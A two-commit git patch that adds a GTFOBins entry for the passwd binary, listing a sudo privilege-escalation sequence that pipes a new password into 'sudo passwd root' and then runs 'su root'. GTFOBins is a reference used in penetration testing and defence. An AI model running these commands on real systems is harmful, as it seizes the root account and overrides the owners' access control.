From a5d4c6b9d02299dd56d1a53801001b320796f5b0 Mon Sep 17 00:00:00 2001 From: Yang Yang <72752593+FEDDY1919@users.noreply.github.com> Date: Sat, 14 Sep 2024 18:49:56 +0800 Subject: [PATCH 1/2] Create passwd.md Add sudo privilege escalation using passwd binary --- _gtfobins/passwd.md | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 _gtfobins/passwd.md diff --git a/_gtfobins/passwd.md b/_gtfobins/passwd.md new file mode 100644 index 00000000..1dbcb610 --- /dev/null +++ b/_gtfobins/passwd.md @@ -0,0 +1,7 @@ +--- +functions: + sudo: + - code: | + PASS=new_password_here + echo -e "$PASS\n$PASS" | sudo passwd root +--- From b93506f75a59fd8171556155f68bd758352e2e69 Mon Sep 17 00:00:00 2001 From: Yang Yang <72752593+FEDDY1919@users.noreply.github.com> Date: Sun, 15 Sep 2024 11:40:53 +0800 Subject: [PATCH 2/2] Update passwd.md --- _gtfobins/passwd.md | 1 + 1 file changed, 1 insertion(+) diff --git a/_gtfobins/passwd.md b/_gtfobins/passwd.md index 1dbcb610..bd7bc548 100644 --- a/_gtfobins/passwd.md +++ b/_gtfobins/passwd.md @@ -4,4 +4,5 @@ functions: - code: | PASS=new_password_here echo -e "$PASS\n$PASS" | sudo passwd root + su root ---